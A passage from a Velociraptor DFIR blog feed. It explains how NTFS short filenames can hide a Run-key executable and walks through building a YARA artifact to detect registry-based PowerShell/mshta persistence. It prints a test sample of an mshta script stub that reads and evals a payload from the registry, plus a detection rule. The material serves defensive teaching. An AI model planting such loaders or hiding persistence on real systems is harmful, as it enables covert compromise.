src=&#34;https://www.velociraptor-docs.org/blog/html/2018/09/30/velorciraptor_s_filesystem_s_accessors//blog/html/2018/09/30/velorciraptor_s_filesystem_s_accessors/vfs1.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;image&#34;&#xA;         width=&#34;1458&#34; height=&#34;807&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;vfs1.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    image&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The nice thing about Velociraptor&#39;s GUI is that it is just a way to&#xA;present the same information that the &amp;quot;fs ls&amp;quot; command is getting by&#xA;using the same VQL queries. Therefore the view is very familiar:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The top level of the Velociraptor VFS represents all the filesystem&#xA;accessors implemented in the client.&lt;/li&gt;&#xA;&lt;li&gt;Each of these accessors shows its own view:&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The file accessor uses the OS APIs to list files and&#xA;directories. Its top level is a list of mounted drives (which&#xA;may be CDROM&#39;s or even network shares).&lt;/li&gt;&#xA;&lt;li&gt;The NTFS accessor shows all NTFS volumes accessible, including&#xA;local drives and Volume Shadow Copies.&lt;/li&gt;&#xA;&lt;li&gt;The registry accessor uses Win32 APIs to access the registry and&#xA;shows at the top level a list of all system hives currently&#xA;attached.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;For each file listed, the accessor also includes a Data attribute.&#xA;This contains accessor specific metadata about the file (for example&#xA;the MFT entry).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;In the below screenshot we can see how the user may navigate into the&#xA;Volume Shadow Copy and retrieve files from it:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2018/09/30/velorciraptor_s_filesystem_s_accessors//blog/html/2018/09/30/velorciraptor_s_filesystem_s_accessors/vfs2.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;image&#34;&#xA;         width=&#34;1458&#34; height=&#34;807&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;vfs2.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    image&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h1 id=&#34;a-note-about-filenames&#34;&gt;A note about filenames.&lt;/h1&gt;&#xA;&lt;p&gt;NTFS can have several different names to the same file. Typically, a&#xA;short DOS 8.3 style filename (e.g. &lt;code&gt;PROGRA~1&lt;/code&gt;), as well as a Win32 long&#xA;filename (e.g. Program Files). You can see the short name for a file&#xA;using the API GetShortPathName() (or the command &lt;code&gt;dir /x&lt;/code&gt;), but a program&#xA;needs to deliberately ask for it. Most programs do not explicitly&#xA;collect or show the short filename of a file.&lt;/p&gt;&#xA;&lt;p&gt;This can cause problems for DFIR applications. For example, Imagine we&#xA;discovered a Run key to C:\\Users\\test\\runme.exe. If we only&#xA;considered the long filename (as for example returned by the Win32API&#xA;FindFile() or the output of the &lt;code&gt;dir&lt;/code&gt; command), then we would assume the&#xA;file has been removed and the run key is not active. In reality however,&#xA;the file may be called &amp;quot;This is some long filename.exe&amp;quot; with a DOS&#xA;name of &amp;quot;runme.exe&amp;quot;. Explorer (and most tools) will only show the long&#xA;filename by default, but the runkey will still execute by referring to&#xA;the DOS filename!&lt;/p&gt;&#xA;&lt;p&gt;Usually the short filename is some variation of the long filename with a&#xA;~1 or ~2 at the end. In reality it can be anything. In the snippet&#xA;below, I am setting the short filename for the velociraptor.exe binary&#xA;to be something completely unrelated, then I am running the binary using&#xA;the unrelated filename:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;C:\Users\test&amp;gt;fsutil file setshortname velociraptor.exe runme.exe&#xA;C:\Users\test&amp;gt;dir /x *.exe&#xA; Volume in drive C has no label.&#xA; Volume Serial Number is 9459-F443&#xA;&#xA; Directory of C:\Users\test&#xA;&#xA;08/19/2018  11:37 PM        12,521,472 RUNME.EXE    velociraptor.exe&#xA;               2 File(s)     16,140,732 bytes&#xA;               0 Dir(s)  11,783,704,576 bytes free&#xA;C:\Users\test&amp;gt;runme.exe -h&#xA;usage: velociraptor [&amp;lt;flags&amp;gt;] &amp;lt;command&amp;gt; [&amp;lt;args&amp;gt; ...]&#xA;&#xA;An advanced incident response and monitoring agent.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can see that Windows explorer shows no trace of the runme.exe file&#xA;since it only displays the Win32 long file name:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2018/09/30/velorciraptor_s_filesystem_s_accessors//blog/html/2018/09/30/velorciraptor_s_filesystem_s_accessors/vfs3.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;image&#34;&#xA;         width=&#34;783&#34; height=&#34;343&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;vfs3.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    image&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;It is important for DFIR investigators to be aware of this and test your&#xA;tools! You can see that sysinternals&#39; autoruns program won&#39;t have any&#xA;of these shenanigans when I added a runkey to &amp;quot;runme.exe&amp;quot;. It shows&#xA;the real filename velociraptor.exe even though the runkey indicates&#xA;runme.exe:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2018/09/30/velorciraptor_s_filesystem_s_accessors//blog/html/2018/09/30/velorciraptor_s_filesystem_s_accessors/vfs4.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;image&#34;&#xA;         width=&#34;1492&#34; height=&#34;571&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;vfs4.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    image&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor treats a file&#39;s DOS name and Win32 Name as distinct&#xA;entries in the NTFS directory listing. This allows us to find any&#xA;references to the file by it&#39;s DOS name as well as its Win32 name.&lt;/p&gt;&#xA;&lt;h1 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h1&gt;&#xA;&lt;p&gt;As Velociraptor gains more functionality, we envision more filesystem&#xA;accessors to become available. The nice thing about these accessors is&#xA;that they just slot in to the rest of the VQL plugins. By providing a&#xA;new accessor, we are able to glob, hash, yara scan etc the new&#xA;abstraction. For example, to yara scan a registry key one simply calls&#xA;the VQL plugin yara with an accessor of reg: yara(rules=myRules,&#xA;files=my_reg_keys, accessor=&amp;quot;reg&amp;quot;)&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Detecting powershell persistence with Velociraptor and Yara</title>
      <link>https://www.velociraptor-docs.org/blog/html/2018/09/29/detecting_powershell_persistence_with_velociraptor_and_yara/</link>
      <pubDate>Sat, 29 Sep 2018 04:10:06 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/html/2018/09/29/detecting_powershell_persistence_with_velociraptor_and_yara/</guid>
      <description>&#xA;&lt;div class=&#34;mynotices warning&#34;&gt;&#xA;  &lt;div heading=&#34;warning&#34;&gt;&lt;p&gt;This page is written about a very old version of Velociraptor and is&#xA;retained for historical purposes.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;I was watching the SANS DFIR Summit 2018 videos on YouTube and came&#xA;across Mari DeGrazia&#39;s talk titled &lt;a href=&#34;https://www.youtube.com/watch?v=JWC7fzhvAY8&#34; target=&#34;_blank&#34; &gt;&amp;quot;Finding and Decoding Malicious&#xA;Powershell Scripts&amp;quot;&lt;/a&gt;. This&#xA;is an excellent talk and it really contains a wealth of information. It&#xA;seems that Powershell is really popular these days, allowing attacker to&#xA;&amp;quot;live off the land&amp;quot; by installing fully functional reverse shells and&#xA;backdoors, in a few lines of obfuscated scripts.&lt;/p&gt;&#xA;&lt;p&gt;Mari went through a number of examples and also expanded on some in her&#xA;blog post &lt;a href=&#34;http://az4n6.blogspot.com/2018/06/malicious-powershell-in-registry.html&#34; target=&#34;_blank&#34; &gt;Malicious PowerShell in the Registry:&#xA;Persistence&lt;/a&gt;,&#xA;where she documents persistence through an autorun key launching&#xA;powershell to execute a payload within another registry key.&lt;/p&gt;&#xA;&lt;p&gt;A similar persistence mechanism is documented by David Kennedy from&#xA;Binary defence in his post &lt;a href=&#34;https://blog.binarydefense.com/powershell-injection-diskless-persistence-bypass-techniques&#34; target=&#34;_blank&#34; &gt;PowerShell Injection with Fileless Payload&#xA;Persistence and Bypass&#xA;Techniques&lt;/a&gt;.&#xA;In that case an msha.exe link was stored in the user&#39;s Run key which&#xA;executed a payload from another registry key.&lt;/p&gt;&#xA;&lt;p&gt;I was eager to write a Velociraptor artifact to attempt to detect such&#xA;keys using a YARA signature. Of course signature based detection is not&#xA;as robust as behavioural analysis but it is quick and usually quite&#xA;effective.&lt;/p&gt;&#xA;&lt;p&gt;I thought it was still quite instructive to document how one can develop&#xA;the VQL queries for a simple Velociraptor artifact. We will be&#xA;developing the artifact interactively on a Windows system.&lt;/p&gt;&#xA;&lt;h1 id=&#34;preparation&#34;&gt;Preparation&lt;/h1&gt;&#xA;&lt;p&gt;Our artifact will attempt to detect the persistence mechanism detailed&#xA;in the above posts. We start by adding a value to our test user account&#xA;under the key&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;Key: &amp;quot;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run&amp;quot;&#xA;Value: &amp;quot;C:\Windows\system32\mshta.exe&amp;quot;&#xA;Data:&#xA;  about:&amp;lt;script&amp;gt;c1hop=&amp;quot;X642N10&amp;quot;;R3I=new%20ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&#xA;  QR3iroUf=&amp;quot;I7pL7&amp;quot;;k9To7P=R3I.RegRead(&amp;quot;HKCU\\software\\bkzlq\\zsdnhepyzs&amp;quot;);&#xA;  J7UuF1n=&amp;quot;Q2LnLxas&amp;quot;;eval(k9To7P);JUe5wz3O=&amp;quot;zSfmLod&amp;quot;;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h1 id=&#34;defining-the-artifact&#34;&gt;Defining the Artifact.&lt;/h1&gt;&#xA;&lt;p&gt;We create a directory called &amp;quot;artifacts&amp;quot; then create a new file inside&#xA;it called powershell_persistence.yaml. Velociraptor artifacts are just&#xA;YAML files that can be loaded at runtime using the --definitions flag.&lt;/p&gt;&#xA;&lt;p&gt;Every artifact has a name, by convention the name is separated into its&#xA;major categories. We will call ours Windows.Persistence.Powershell:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;name: Windows.Persistence.Powershell&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is the minimum required for Velociraptor to identify it. We can see&#xA;a listing of all artifacts Velociraptor knows about using the&#xA;&amp;quot;artifacts list&amp;quot; command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;F:\&amp;gt;velociraptor.exe --definitions artifacts artifacts list&#xA;INFO:2018/09/28 07:59:40 Loaded 34 built in artifacts&#xA;Linux.Applications.Chrome.Extensions&#xA;Linux.Applications.Chrome.Extensions.Upload&#xA;…&#xA;Windows.Persistence.Powershell&#xA;...&#xA;Windows.Sys.Users&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;We can collect the artifact simply by using the &amp;quot;artifacts collect&amp;quot;&#xA;command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;F:\&amp;gt;velociraptor.exe --definitions artifacts artifacts collect Windows.Persistence.Powershell&#xA;INFO:2018/09/28 20:01:32 Loaded 34 built in artifacts&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Ok so Velociraptor can load and collect this new artifact, but as yet it&#xA;does nothing! We need to think about what exactly we want to collect.&lt;/p&gt;&#xA;&lt;p&gt;We know we want to search for all values in the Run/RunOnce hive of all&#xA;the users. Let&#39;s first see if we can retrieve all the values using a&#xA;glob:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;name: Windows.Persistence.Powershell&#xA;parameters:&#xA;  - name: keyGlob&#xA;    default: &amp;quot;HKEY_USERS\\*\\Software\\Microsoft\\Windows\&#xA;    \\CurrentVersion\\{Run,RunOnce}\\*&amp;quot;&#xA;sources:&#xA; - precondition:&#xA;    SELECT OS from info() where OS = &amp;quot;windows&amp;quot;&#xA;   queries:&#xA;   - |&#xA;    SELECT FullPath from glob(&#xA;       globs=keyGlob,&#xA;       accessor=&amp;quot;reg&amp;quot;&#xA;    )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This artifact demonstrates a few concepts:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;We can define parameters by name, and reference them from within the&#xA;VQL query. This keeps the VQL query clean and more readable.&lt;/li&gt;&#xA;&lt;li&gt;We can define a precondition on the artifact. If the precondition is&#xA;not met, the VQL query will not be run.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Lets run this artifact:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;F:\&amp;gt;velociraptor.exe --definitions artifacts artifacts collect Windows.Persistence.Powershell&#xA;INFO:2018/09/28 20:51:47 Loaded 34 built in artifacts&#xA;+--------------------------------+&#xA;|            FullPath            |&#xA;+--------------------------------+&#xA;| HKEY_USERS\S-1-5-19\Software\M |&#xA;| icrosoft\Windows\CurrentVersio |&#xA;| n\Run\OneDriveSetup            |&#xA;| HKEY_USERS\S-1-5-20\Software\M |&#xA;| icrosoft\Windows\CurrentVersio |&#xA;| n\Run\OneDriveSetup            |&#xA;| HKEY_USERS\S-1-5-21-546003962- |&#xA;| 2713609280-610790815-1001\Soft |&#xA;| ware\Microsoft\Windows\Current |&#xA;| Version\Run\&amp;quot;C:\Windows\system |&#xA;| 32\mshta.exe&amp;quot;                  |&#xA;+--------------------------------+&#xA;Artifact:&#xA;Windows.Persistence.Powershell&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It returns a couple of results so there are two Run/RunOnce values&#xA;defined. For this artifact, we only want to return those entries which&#xA;match a specific yara signature. We can work later on improving the yara&#xA;signature, but for now let&#39;s just detect uses of the eval() powershell&#xA;command within 500 characters of an ActiveXObject instantiation. We will&#xA;try to match each value returned from the Run keys with this object:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;name: Windows.Persistence.Powershell&#xA;parameters:&#xA;  - name: keyGlob&#xA;    default: &amp;quot;HKEY_USERS\\*\\Software\\Microsoft\\Windows\&#xA;             \\CurrentVersion\\{Run,RunOnce}\\*&amp;quot;&#xA;  - name: yaraRule&#xA;    default: |&#xA;      rule Powershell {&#xA;        strings:&#xA;        $ = /ActiveXObject.{,500}eval/ nocase&#xA;        $ = /ActiveXObject.{,500}eval/ wide nocase&#xA;        condition:&#xA;        any of them&#xA;      }&#xA;sources:&#xA; - precondition:&#xA;    SELECT OS from info() where OS = &amp;quot;windows&amp;quot;&#xA;   queries:&#xA;   - |&#xA;     // This is a stored query&#xA;     LET file = SELECT FullPath from glob(&#xA;       globs=keyGlob,&#xA;       accessor=&amp;quot;reg&amp;quot;&#xA;     )&#xA;   - |&#xA;     SELECT * FROM yara(&#xA;       rules=yaraRule,&#xA;       files=file.FullPath,   // This will expand to a list of paths.&#xA;       accessor=&amp;quot;reg&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This version recovers the FullPath of all the Run/RunOnce values and&#xA;stores them in a stored query. We then issue another query that applies&#xA;the yara rule on these values:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;F:\&amp;gt;velociraptor.exe --definitions artifacts artifacts collect Windows.Persistence.Powershell&#xA;INFO:2018/09/28 21:29:10 Loaded 34 built in artifacts&#xA;+------------+------+------+--------------------------------+--------------------------------+&#xA;|    Rule    | Meta | Tags |            Strings             |              File              |&#xA;+------------+------+------+--------------------------------+--------------------------------+&#xA;| Powershell |      |      | {&amp;quot;Name&amp;quot;:&amp;quot;$&amp;quot;,&amp;quot;Offset&amp;quot;:40,&amp;quot;HexDa | {&amp;quot;FullPath&amp;quot;:&amp;quot;HKEY_USERS\\S-1-5 |&#xA;|            |      |      | ta&amp;quot;:[&amp;quot;00000000  41 63 74 69 76 | -21-546003962-2713609280-61079 |&#xA;|            |      |      |  65 58 4f  62 6a 65 63 74 28 2 | 0815-1001\\Software\\Microsoft |&#xA;|            |      |      | 2 57  |ActiveXObject(\&amp;quot;W|&amp;quot;,&amp;quot;00 | \\Windows\\CurrentVersion\\Run |&#xA;|            |      |      | 000010  53 63 72 69 70 74 2e 5 | \\\&amp;quot;C:\\Windows\\system32\\msh |&#xA;|            |      |      | 3  68 65 6c 6c 22 29 3b 51  |S | ta.exe\&amp;quot;&amp;quot;,&amp;quot;Type&amp;quot;:&amp;quot;SZ&amp;quot;,&amp;quot;Data&amp;quot;:{ |&#xA;|            |      |      | script.Shell\&amp;quot;);Q|&amp;quot;,&amp;quot;00000020   | &amp;quot;type&amp;quot;:&amp;quot;SZ&amp;quot;,&amp;quot;value&amp;quot;:&amp;quot;about:\u0 |&#xA;|            |      |      | 52 33 69 72 6f 55 66 3d  22 49 | 03cscript\u003ec1hop=\&amp;quot;X642N10 |&#xA;|            |      |      |  37 70 4c 37 22 3b  |R3iroUf=\ | \&amp;quot;;R3I=new%20ActiveXObject(\&amp;quot;W |&#xA;|            |      |      | &amp;quot;I7pL7\&amp;quot;;|&amp;quot;,&amp;quot;00000030  6b 39 5 | Script.Shell\&amp;quot;);QR3iroUf=\&amp;quot;I7p |&#xA;|            |      |      | 4 6f 37 50 3d 52  33 49 2e 52  | L7\&amp;quot;;k9To7P=R3I.RegRead(\&amp;quot;HKCU |&#xA;|            |      |      | 65 67 52 65  |k9To7P=R3I.RegRe | \\\\software\\\\bkzlq\\\\zsdnh |&#xA;|            |      |      | |&amp;quot;,&amp;quot;00000040  61 64 28 22 48 4 | epyzs\&amp;quot;);J7UuF1n=\&amp;quot;Q2LnLxas\&amp;quot;; |&#xA;|            |      |      | b 43 55  5c 5c 73 6f 66 74 77  | eval(k9To7P);JUe5wz3O=\&amp;quot;zSfmLo |&#xA;|            |      |      | 61  |ad(\&amp;quot;HKCU\\\\softwa|&amp;quot;,&amp;quot;00 | d\&amp;quot;;\u003c/script\u003e&amp;quot;},&amp;quot;Mti |&#xA;|            |      |      | 000050  72 65 5c 5c 62 6b 7a 6 | me&amp;quot;:{&amp;quot;sec&amp;quot;:1538191253,&amp;quot;usec&amp;quot;:1 |&#xA;|            |      |      | c  71 5c 5c 7a 73 64 6e 68  |r | 538191253231489700},&amp;quot;Ctime&amp;quot;:{&amp;quot; |&#xA;|            |      |      | e\\\\bkzlq\\\\zsdnh|&amp;quot;,&amp;quot;0000006 | sec&amp;quot;:1538191253,&amp;quot;usec&amp;quot;:1538191 |&#xA;|            |      |      | 0  65 70 79 7a 73 22 29 3b  4a | 253231489700},&amp;quot;Atime&amp;quot;:{&amp;quot;sec&amp;quot;:1 |&#xA;|            |      |      |  37 55 75 46 31 6e 3d  |epyzs\ | 538191253,&amp;quot;usec&amp;quot;:1538191253231 |&#xA;|            |      |      | &amp;quot;);J7UuF1n=|&amp;quot;,&amp;quot;00000070  22 51 | 489700}}                       |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;We can see that the last query returns 5 columns, but each column&#xA;actually contains objects with quite a lot of additional information.&#xA;For example, the File column returns information about the file that&#xA;matched the yara rule (its filename, timestamps etc). The output is a&#xA;bit confusing so we just return the relevant columns. We can replace the&#xA;* in the last query with a curated list of columns to return:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;SELECT File.FullPath as ValueName, File.Data.value as Contents,&#xA;  timestamp(epoch=File.Mtime.Sec) as ModTime&#xA;FROM yara(rules=yaraRule,&#xA;          files=file.FullPath,&#xA;          accessor=&amp;quot;reg&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Which results in the quite readable:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;F:\&amp;gt;velociraptor.exe --definitions artifacts artifacts collect Windows.Persistence.Powershell&#xA;INFO:2018/09/28 21:42:18 Loaded 34 built in artifacts&#xA;+--------------------------------+--------------------------------+---------------------------+&#xA;|           ValueName            |            Contents            |          ModTime          |&#xA;+--------------------------------+--------------------------------+---------------------------+&#xA;| HKEY_USERS\S-1-5-21-546003962- | about:&amp;lt;script&amp;gt;c1hop=&amp;quot;X642N10&amp;quot;; | 2018-09-28T20:20:53-07:00 |&#xA;| 2713609280-610790815-1001\Soft | R3I=new%20ActiveXObject(&amp;quot;WScri |                           |&#xA;| ware\Microsoft\Windows\Current | pt.Shell&amp;quot;);QR3iroUf=&amp;quot;I7pL7&amp;quot;;k9 |                           |&#xA;| Version\Run\&amp;quot;C:\Windows\system | To7P=R3I.RegRead(&amp;quot;HKCU\\softwa |                           |&#xA;| 32\mshta.exe&amp;quot;                  | re\\bkzlq\\zsdnhepyzs&amp;quot;);J7UuF1 |                           |&#xA;|                                | n=&amp;quot;Q2LnLxas&amp;quot;;eval(k9To7P);JUe5 |                           |&#xA;|                                | wz3O=&amp;quot;zSfmLod&amp;quot;;&amp;lt;/script&amp;gt;       |                           |&#xA;+--------------------------------+--------------------------------+---------------------------+&#xA;Artifact: Windows.Persistence.Powershell&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Great! This works and only returns values that match the yara signature&#xA;we developed.&lt;/p&gt;&#xA;&lt;h1 id=&#34;testing-the-artifact&#34;&gt;Testing the artifact&lt;/h1&gt;&#xA;&lt;p&gt;Let&#39;s test this artifact for real now. We restart the frontend with the&#xA;--definition flag and this makes the new artifact available in the GUI&#xA;under the Artifact Collector flow. The GUI also shows the entire&#xA;artifact we defined so we can see what VQL will be run:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2018/09/29/detecting_powershell_persistence_with_velociraptor_and_yara//blog/html/2018/09/29/detecting_powershell_persistence_with_velociraptor_and_yara/powershell1.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;image&#34;&#xA;         width=&#34;1366&#34; height=&#34;697&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;powershell1.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    image&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Launching the flow appears to work and shows exactly the same result as&#xA;we collected on the command line:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2018/09/29/detecting_powershell_persistence_with_velociraptor_and_yara//blog/html/2018/09/29/detecting_powershell_persistence_with_velociraptor_and_yara/powershell2.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;image&#34;&#xA;         width=&#34;1366&#34; height=&#34;697&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;powershell2.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    image&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h1 id=&#34;but-wait-there-is-a-problem&#34;&gt;But wait! There is a problem!&lt;/h1&gt;&#xA;&lt;p&gt;When we log out of the machine, and then rerun the artifact it returns&#xA;no results!&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2018/09/29/detecting_powershell_persistence_with_velociraptor_and_yara//blog/html/2018/09/29/detecting_powershell_persistence_with_velociraptor_and_yara/powershell3.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;image&#34;&#xA;         width=&#34;1366&#34; height=&#34;697&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;powershell3.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    image&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Why is that? Experienced incident responders would recognize that any&#xA;artifact that works from the &lt;code&gt;HKEY_USERS&lt;/code&gt; registry hive is inherently&#xA;unreliable. This is because the &lt;code&gt;HKEY_USERS&lt;/code&gt; hive is not a real hive -it&#xA;is a place where Windows mounts the user&#39;s hive when the user logs in.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-does-hkey_users-hive-work&#34;&gt;How does &lt;code&gt;HKEY_USERS&lt;/code&gt; hive work?&lt;/h2&gt;&#xA;&lt;p&gt;Windows implements the concept of user profiles. Each user has a&#xA;personal registry hive that stores user specific settings. It is&#xA;actually a file stored on their home directory called ntuser.dat. When a&#xA;user logs into the workstation, the file may be synced from the domain&#xA;controller and then it is mounted under the &lt;code&gt;HKEY_USERS\&amp;lt;sid&amp;gt;&lt;/code&gt;&#xA;registry hive.&lt;/p&gt;&#xA;&lt;p&gt;This means that when the user logs out, their user registry hive is&#xA;unmounted and does not appear in &lt;code&gt;HKEY_USERS&lt;/code&gt; any longer. Any artifacts&#xA;based around the &lt;code&gt;HKEY_USERS&lt;/code&gt; hive will work only if the collection is&#xA;run when a user is logged in.&lt;/p&gt;&#xA;&lt;p&gt;This is obviously not what we want when we hunt for persistence! We want&#xA;to make sure that none of the users on the system have this persistence&#xA;mechanism installed. You can imagine a case where a system has been&#xA;cleaned up but then a user logs into the machine, thereby reinfecting&#xA;it!&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-to-fix-this&#34;&gt;How to fix this?&lt;/h2&gt;&#xA;&lt;p&gt;Yara is a very powerful tool because it allows us to search for patterns&#xA;in amorphous data (such as process memory and structured files) without&#xA;having to fully understand the structure of the data we are searching&#xA;for. Of course this has its limitations, but yara can raise a red flag&#xA;if the signature matches the file, and we can analyse 